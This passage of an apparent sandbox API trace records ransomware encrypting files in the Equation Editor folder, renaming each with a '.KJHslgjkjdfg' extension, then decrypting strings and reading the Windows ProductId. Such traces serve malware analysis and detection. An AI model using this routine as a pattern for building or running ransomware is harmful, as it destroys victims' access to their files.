dwFlags=0x0) returned 1 [0167.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.424] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9fd, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9fd, lpOverlapped=0x0) returned 1 [0167.425] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa00, dwBufLen=0xa00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa00) returned 1 [0167.425] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.425] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa00, lpOverlapped=0x0) returned 1 [0167.425] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.425] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.425] SetEndOfFile (hFile=0xf0) returned 1 [0167.429] GetProcessHeap () returned 0x2ef0000 [0167.429] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0167.429] GetProcessHeap () returned 0x2ef0000 [0167.429] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.kjhslgjkjdfg")) returned 1 [0167.435] CloseHandle (hObject=0xf0) returned 1 [0167.435] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0167.435] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0167.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.470] GetProcessHeap () returned 0x2ef0000 [0167.470] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.470] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.470] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0167.472] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.472] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.472] GetProcessHeap () returned 0x2ef0000 [0167.472] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0167.472] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dff258*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dff258*=0x50) returned 1 [0167.472] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.472] WriteFile (in: hFile=0xf0, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dff270*=0x50, lpOverlapped=0x0) returned 1 [0167.473] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.473] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.473] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.473] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.473] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.473] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.473] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x236, lpOverlapped=0x0) returned 1 [0167.473] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x240, dwBufLen=0x240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x240) returned 1 [0167.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.473] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x240, lpOverlapped=0x0) returned 1 [0167.474] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.474] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.474] SetEndOfFile (hFile=0xf0) returned 1 [0167.477] GetProcessHeap () returned 0x2ef0000 [0167.477] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0167.477] GetProcessHeap () returned 0x2ef0000 [0167.477] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.kjhslgjkjdfg")) returned 1 [0167.478] CloseHandle (hObject=0xf0) returned 1 [0167.483] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0167.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.483] GetProcessHeap () returned 0x2ef0000 [0167.483] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.483] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.483] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.483] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0167.485] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.485] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.485] GetProcessHeap () returned 0x2ef0000 [0167.485] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0167.485] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0167.485] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.485] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0167.486] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.486] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.486] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.486] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.486] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.486] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.486] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.486] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.486] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2b0b7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2b0b7, lpOverlapped=0x0) returned 1 [0167.488] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b0c0, dwBufLen=0x2b0c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b0c0) returned 1 [0167.490] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.490] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2b0c0, lpOverlapped=0x0) returned 1 [0167.491] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.491] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.491] SetEndOfFile (hFile=0xf0) returned 1 [0167.495] GetProcessHeap () returned 0x2ef0000 [0167.495] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0167.495] GetProcessHeap () returned 0x2ef0000 [0167.495] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.kjhslgjkjdfg")) returned 1 [0167.496] CloseHandle (hObject=0xf0) returned 1 [0167.496] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0167.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.498] GetProcessHeap () returned 0x2ef0000 [0167.498] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.498] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.498] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.510] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.510] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.510] GetProcessHeap () returned 0x2ef0000 [0167.510] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0167.510] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0167.510] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.510] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0167.510] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.511] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.511] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.511] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.511] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.511] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.511] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.511] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.511] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1de8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1de8, lpOverlapped=0x0) returned 1 [0167.512] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1df0, dwBufLen=0x1df0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1df0) returned 1 [0167.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.512] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1df0, lpOverlapped=0x0) returned 1 [0167.512] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.512] SetEndOfFile (hFile=0xf0) returned 1 [0167.515] GetProcessHeap () returned 0x2ef0000 [0167.515] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0167.515] GetProcessHeap () returned 0x2ef0000 [0167.515] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.515] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.kjhslgjkjdfg")) returned 1 [0167.516] CloseHandle (hObject=0xf0) returned 1 [0167.516] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0167.516] GetProcessHeap () returned 0x2ef0000 [0167.516] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0167.516] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0167.516] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0167.516] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.516] GetProcessHeap () returned 0x2ef0000 [0167.516] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0167.516] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0167.516] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0167.516] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.517] GetProcessHeap () returned 0x2ef0000 [0167.517] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3e278 [0167.517] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0167.517] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3e278, pdwDataLen=0x4dff0a8 | out: pbData=0x2f3e278, pdwDataLen=0x4dff0a8) returned 1 [0167.517] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.517] GetProcessHeap () returned 0x2ef0000 [0167.517] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0167.517] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0167.517] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0167.517] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.517] GetProcessHeap () returned 0x2ef0000 [0167.517] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11750 [0167.517] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0167.517] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11750, pdwDataLen=0x4dfec88 | out: pbData=0x2f11750, pdwDataLen=0x4dfec88) returned 1 [0167.517] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.517] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0xf0) returned 0x0 [0167.517] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0167.517] RegCloseKey (hKey=0xf0) returned 0x0 [0167.517] GetProcessHeap () returned 0x2ef0000 [0167.517] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0167.517] GetProcessHeap () returned 0x2ef0000 [0167.518] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, 